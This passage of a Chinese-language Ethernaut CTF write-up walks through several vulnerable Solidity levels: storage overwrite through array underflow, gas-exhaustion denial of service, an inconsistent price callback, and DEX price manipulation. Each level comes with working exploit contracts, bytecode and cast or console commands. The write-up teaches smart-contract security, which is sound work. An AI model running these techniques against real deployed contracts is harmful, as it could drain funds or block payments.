        balances[msg.sender] = balances[msg.sender] - _amount;

        balances[_to] = _amount;

    }



    // clean up after ourselves

    function destroy(address payable _to) public {

        selfdestruct(_to);

    }

}

这是一个具有自毁函数的合约,自毁合约(selfdestruct)是一种能够销毁自身并将剩余eth发送到指定地址的合约,selfdestruct会删除合约的代码和存储,释放资源。同时也可以用来防止恶意攻击和漏洞

Solidity中的自毁合约

合约的地址都是确定的,由keccack256(address, nonce)计算,address为创建合约的合约/交易者地址,nonce是衍生合约发起的交易数量(或交易随机数、用于常规交易)

keccack256(address, nonce) 本质上 是把创建者地址和创建次数编码后做一次密码学哈希,得到一个不可预测、确定的唯一值

keccack256是ethereum使用的哈希函数(SHA-3的前期版本),输入任意字节序列,会输出固定32字节。但是ethereum的合约地址生成原理是将(address, nonce)做RLP编码(防歧义),然后对编码结果做keccak256,取哈希最后20字节作为合约地址,而nonce对EOA来说就是发送给多少笔交易,对合约来说就是创建过多少子合约,

由此特性,人们将eth发送到一个预先确定的地址,但是没有私钥,然后在该地址创建一个合约来恢复eth,这是一种在不持有私钥的情况下(危险地)存储eth地不直观且有些隐秘地方式

MagicNumber

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



contract MagicNum {

    address public solver;



    constructor() {}



    function setSolver(address _solver) public {

        solver = _solver;

    }



    /*

    ____________/\\\_______/\\\\\\\\\_____        

     __________/\\\\\_____/\\\///////\\\___      

      ________/\\\/\\\____\///______\//\\\__      

       ______/\\\/\/\\\______________/\\\/___    

        ____/\\\/__\/\\\___________/\\\//_____    

         __/\\\\\\\\\\\\\\\\_____/\\\//________  

          _\///////////\\\//____/\\\/___________  

           ___________\/\\\_____/\\\\\\\\\\\\\\\_

            ___________\///_____\///////////////__

    */

}

题目要求提交一个Solver合约,最多10bytes,提示需要手写EVM字节码,但是并没有给出MagicNumber呢?还是32字节的响应,如何找这个呢?

whatIsTheMeaningOfLife是一个老梗(难崩没听过emm)代表“返回42”

EVM字节码学习:

EVM指令集(字节码)

EVM指令集提供了大多数可能的操作:

  • 算术/位逻辑操作
  • 执行上下文查询
  • 堆栈、内存、存储访问
  • 控制流操作
  • 记录、调用和其他操作符

注意return指令做了些什么?
RETURN(offset, size)
先pop offset 再pop size,然后从offset复制size个字节,传回给caller/作为abi解码的输入,然后终止函数

return(0x00, 0x20):从offset赋值0x20字节

写EVM汇编,8个字节即可

assembly
1
2
3
4
5
6
7
8
9
10
11
PUSH1  0x2A    | 60 2A

PUSH0          | 5F

MSTORE         | 52

PUSH1 0X20     | 60 20

PUSH0          | 5F

RETURN         | F3

0x602A5F5260205FF3

但是还要加上init code,作用:将runtime拷贝到内存,return它

最终:0x67602a5f5260205ff360005260086018f3

分析:

assembly
1
2
3
4
5
6
PUSH8 0x602A5F5260205FF3 // 压入runtime code本体,这里仅仅是一个数字
PUSH1 0x00 // 栈顶偏移为0x00
MSTORE // runtime右对齐存储到memory
PUSH1 0x08 // 压入0x8 - 代表需要部署的合约长度8
PUSH1 0x18 //偏移 - 合约起始位置距栈顶offset
RETURN // CRETAE中的RETURN的含义,创建新合约:[offset, offset+size]

执行完之后,EVM会进行:

  1. 停止init code执行
  2. 把RETURN的8字节写为合约的 runtime code
  3. 合约代码即为0x602A5F5260205FF3
1
2
cast send --rpc-url "$rpc" --private-key "$pk" \
--create 0x67602a5f5260205ff360005260086018f3

然后把这个合约setSolver即可通过

Alien Codex

题目合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;


import "../helpers/Ownable-05.sol";


contract AlienCodex is Ownable {

    bool public contact;

    bytes32[] public codex;


    modifier contacted() {

        assert(contact);

        _;

    }


    function makeContact() public {

        contact = true;

    }

    function record(bytes32 _content) public contacted {

        codex.push(_content);

    }


    function retract() public contacted {

        codex.length--;

    }


    function revise(uint256 i, bytes32 _content) public contacted {

        codex[i] = _content;

    }

}

胜利条件是拿到合约owner,先找一下owner,再Ownable合约第第一个(https://github.com/OpenZeppelin/ethernaut/blob/d05643a40aa98c45d66247c69ffceab8f44dd8cb/contracts/src/helpers/Ownable-05.sol#L4):

1
2
3
4
5
6
contract Ownable {
address private _owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

......

说明在整个合约中,owner位于第一个,然而AlienCodex合约里有一个array,而且还可以任意修改索引,这就很显然了,我们可以修改索引到owner位置,然后push我们的owner。不过要先注意arrray的布局为:

1
2
3
4
slot p        : array.length
slot keccak(p): array[0]
slot keccak(p)+1: array[1]
...

整个合约布局为:

  • owner 20字节
  • contact 8字节
  • codex数组
    所以owner和contact共同使用slot0

通关思路

但是我没有想到怎么往slot0写入,因为当调用retract的时候,length就下溢变成了0xffffffffffffff…
根据大神的wp得到思路
https://cyanwingsbird.blog/solidity/ethernaut/19-alien-codex/

storage的最大存储量为2^256 slots,所以我们可以额改写slot2 ^ 256就相当于改写slot0,我们需要算出array中元素的slot位置,因为数组的位置在slot1,所以计算公式为:

1
keccak256(abi.encode(uint256(1))) + index = 2 ^ 256

==注意不是keccak256(1)==

计算可以使用solidity完成,或使用foundry的原生solidity交互环境计算chisel,这是原生的EVM计算

1
2
3
4
5
➜ type(uint256).max - uint256(keccak256(abi.encode(uint256(1))))
Type: uint256
├ Hex: 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f309
├ Hex (full word): 0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f309
└ Decimal: 35707666377435648211887908874984608119992236509074197713628505308453184860937

所以slot0对于index为0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f309+1=0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a

(为什么+1?因为type(uint256)是2^256-1)

调用revise修改即可通关!

现实:
https://weka.medium.com/announcing-the-winners-of-the-first-underhanded-solidity-coding-contest-282563a87079

Denial

题目合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}

// allow deposit of funds
receive() external payable {}

// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}

每次调用withdraw的时候,合约会计算总余额的百分之一,一份给partner,一封给owner。如何让owner无法接收到钱,因为给partner转账用的是partner.call,并且没有判断成功与否,给owner转账用的是transfer高级函数,如果gas费不足就会revert。

所以我们可以构造partner为一个可以将gas消耗直到不足以支持transfer,利用循环:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;




contract Test {



        function exploit() internal {

        uint256 sum;

        for (uint256 index = 0; index < type(uint256).max; index++) {

            sum += 1;

        }

    }

    fallback() external payable {

        exploit();

    }



}

该题主要考察的就是合约的拒绝服务攻击,如果未指定规定数量的gas对外部合约调用可能会造成拒绝服务攻击,启发:在使用低级调用时而且还需要继续执行需要指定固定的gas费

Shop

题目合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



interface IBuyer {

  function price() external view returns (uint256);

}



contract Shop {

  uint256 public price = 100;

  bool public isSold;



  function buy() public {

    IBuyer _buyer = IBuyer(msg.sender);



    if (_buyer.price() >= price && !isSold) {

      isSold = true;

      price = _buyer.price();

    }

  }

}

分析

需要在商店以低于要求价格购买,因为IBuyer接口定义的price函数是view,不能修改变量的值,而且只能进行一次售出因为有isSold。但是这里合约调用了两次外部price,我们可以利用两次返回不同的值来是进行攻击

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



interface Tar {

    function buy() external;

    function isSold() external view returns (bool);

}



contract test {



    function attack(Tar _target) public {

        _target.buy();

    }

    function price() public view returns (uint256) {

        Tar _target = Tar(0x9751f66556428f0301a3c555250f712612624F61);

        if (_target.isSold() == false) {

            return 100;

        }

        return 1;

    }

}

Dex

攻击向量:
#除法取整 #价格操纵

题目合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;



import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

import "openzeppelin-contracts-08/access/Ownable.sol";



contract Dex is Ownable {

    address public token1;

    address public token2;



    constructor() {}



    function setTokens(address _token1, address _token2) public onlyOwner {

        token1 = _token1;

        token2 = _token2;

    }



    function addLiquidity(address token_address, uint256 amount) public onlyOwner {

        IERC20(token_address).transferFrom(msg.sender, address(this), amount);

    }



    function swap(address from, address to, uint256 amount) public {

        require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");

        uint256 swapAmount = getSwapPrice(from, to, amount);

        IERC20(from).transferFrom(msg.sender, address(this), amount);

        IERC20(to).approve(address(this), swapAmount);

        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);

    }



    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {

        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));

    }



    function approve(address spender, uint256 amount) public {

        SwappableToken(token1).approve(msg.sender, spender, amount);

        SwappableToken(token2).approve(msg.sender, spender, amount);

    }



    function balanceOf(address token, address account) public view returns (uint256) {

        return IERC20(token).balanceOf(account);

    }

}



contract SwappableToken is ERC20 {

    address private _dex;



    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)

        ERC20(name, symbol)

    {

        _mint(msg.sender, initialSupply);

        _dex = dexInstance;

    }



    function approve(address owner, address spender, uint256 amount) public {

        require(owner != _dex, "InvalidApprover");

        super._approve(owner, spender, amount);

    }

}

本题考查价格操纵窃取资金和EVM下相除向下取整,导致getSwapPrice函数会受到影响

学习一下价格操纵攻击:
https://learnblockchain.cn/article/15566

所以攻击思路如下:利用getSwapPrice向下取整导致的计算错误,使得出现价格操纵

攻击过程:

先给dex approve token1和token2

1
2
3
4
5
6
7
cast send 0xD222aEf3bb1E9ec778bDF8E8014867EBc0Bac29A "approve(address, uint256)" 0xCfEE99B8214281fD1935fe211D78a99CB21D40Cf 10000000000000 \
--private-key $pk \
--rpc-url $rpc

$ cast send 0x8886e0E078E1360EE70d19AcfCBd1b5cB30ce7EB "approve(address, uint256)" 0xCfEE99B8214281fD1935fe211D78a99CB21D40Cf 10000000000000 \
--private-key $pk \
--rpc-url $rpc

进行多次交换

1
2
3
4
5
6
7
8
9
10
await contract.swap(token1, token2, await contract.balanceOf(token1, mine));
await contract.swap(token2, token1, await contract.balanceOf(token2, mine));
await contract.swap(token1, token2, await contract.balanceOf(token1, mine));
await contract.swap(token2, token1, await contract.balanceOf(token2, mine));
await contract.swap(token1, token2, await contract.balanceOf(token1, mine));
await contract.swap(token2, token1, 45);
(await contract.balanceOf(token2, mine)).toString()
'20'
(await contract.balanceOf(token1, mine)).toString()
'110'

启发:

交易所本身是去中心化的,但是资产的价格是中心化的,这就是需要预言机的原因,预言机是将数据输入和输出智能合约的方法,我们应该从多个独立的去中心化来源获取数据。否则拥有大量资金的人可以一举操纵价格导致依赖的应用程序使用错误价格

uniswap TWAP预言机依赖于称为TWAP的时间加权价格模型,但是这个协议很大程度取决于DEX协议的流动性,流动性太低则容易被操纵

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";

contract PriceConsumerV3 {
AggregatorV3Interface internal priceFeed;

/**
* Network: Sepolia
* Aggregator: BTC/USD
* Address: 0x1b44F3514812d835EB1BDB0acB33d3fA3351Ee43
*/
constructor() {
priceFeed = AggregatorV3Interface(
0x1b44F3514812d835EB1BDB0acB33d3fA3351Ee43
);
}

/**
* Returns the latest price.
*/
function getLatestPrice() public view returns (int) {
// prettier-ignore
(
/* uint80 roundID */,
int price,
/*uint startedAt*/,
/*uint timeStamp*/,
/*uint80 answeredInRound*/
) = priceFeed.latestRoundData();
return price;
}
}